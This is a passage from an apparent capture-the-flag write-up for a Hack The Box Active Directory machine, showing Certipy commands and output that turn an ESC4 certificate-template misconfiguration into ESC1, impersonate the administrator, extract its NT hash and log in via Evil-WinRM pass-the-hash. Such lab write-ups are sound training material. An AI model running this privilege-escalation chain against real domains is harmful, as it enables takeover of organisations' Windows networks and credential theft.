    Minimum RSA Key Length              : 2048
    Permissions
      Object Control Permissions
        Owner                           : INFILTRATOR.HTB\Local System
        Full Control Principals         : INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Owner Principals          : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Dacl Principals           : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
        Write Property Principals       : INFILTRATOR.HTB\infiltrator_svc
                                          INFILTRATOR.HTB\Domain Admins
                                          INFILTRATOR.HTB\Enterprise Admins
                                          INFILTRATOR.HTB\Local System
    [!] Vulnerabilities
      ESC4                              : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions
...[snip]...

Indeed, the certificate is vulnerable because as infiltrator_svc, we have the Write Owner Principals, Write Dacl Principals and Write Property Principals permissions over this cerficate. This means that we can overwrite the configuration of the certificate template to make the template vulnerable to another AD certificate vulnerability: ESC1.

ESC4 to ESC1

We start by overwriting the template to make it vulnerable to ESC1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ certipy template -u 'infiltrator_svc$@infiltrator.htb' -hashes '91f6a2f300330325d5887462d4072732' -target-ip 10.129.210.51 -debug -ns 10.129.210.51 -target dc01.infiltrator.htb -template 'Infiltrator_Template' -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Trying to resolve 'INFILTRATOR.HTB' at '10.129.210.51'
[+] Authenticating to LDAP server
[+] Bound to ldaps://10.129.210.51:636 - ssl
[+] Default path: DC=infiltrator,DC=htb
[+] Configuration path: CN=Configuration,DC=infiltrator,DC=htb
[*] Saved old configuration for 'Infiltrator_Template' to 'Infiltrator_Template.json'
[*] Updating certificate template 'Infiltrator_Template'
[+] MODIFY_DELETE:
[+]     pKIExtendedKeyUsage: []
[+]     msPKI-Certificate-Application-Policy: []
[+] MODIFY_REPLACE:
[+]     nTSecurityDescriptor: [b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x15\x00\x00\x00\xc8\xa3\x1f\xdd\xe9\xba\xb8\x90,\xaes\xbb\xf4\x01\x00\x00']
[+]     flags: [b'0']
[+]     pKIDefaultKeySpec: [b'2']
[+]     pKIKeyUsage: [b'\x86\x00']
[+]     pKIMaxIssuingDepth: [b'-1']
[+]     pKICriticalExtensions: [b'2.5.29.19', b'2.5.29.15']
[+]     pKIExpirationPeriod: [b'\x00@\x1e\xa4\xe8e\xfa\xff']
[+]     pKIOverlapPeriod: [b'\x00\x80\xa6\n\xff\xde\xff\xff']
[+]     pKIDefaultCSPs: [b'1,Microsoft Enhanced Cryptographic Provider v1.0']
[+]     msPKI-RA-Signature: [b'0']
[+]     msPKI-Enrollment-Flag: [b'0']
[*] Successfully updated 'Infiltrator_Template'

With our vulnerable template, we can now request a certificate and impersonate the administrator through the User Principal Name:

1
$ certipy req -u 'infiltrator_svc$@infiltrator.htb' -hashes '91f6a2f300330325d5887462d4072732' -target infiltrator.htb -ca "infiltrator-DC01-CA" -template "Infiltrator_Template" -upn administrator@infiltrator.htb

Using this certificate we can now get the Administrator’s NT hash:

1
2
3
4
5
6
7
8
9
$ certipy auth -pfx administrator.pfx -dc-ip 10.129.210.51 -domain infiltrator.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1

Administrator

With the Administrator’s NT hash, we can now connect using Evil-WinRM and collect the root flag:

1
2
3
4
5
$ evil-winrm -i infiltrator.htb -u administrator -H '1356f502d2764368302ff0369b1121a1'
...[snip]...
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
57544ff9************************
This post is licensed under CC BY 4.0 by the author.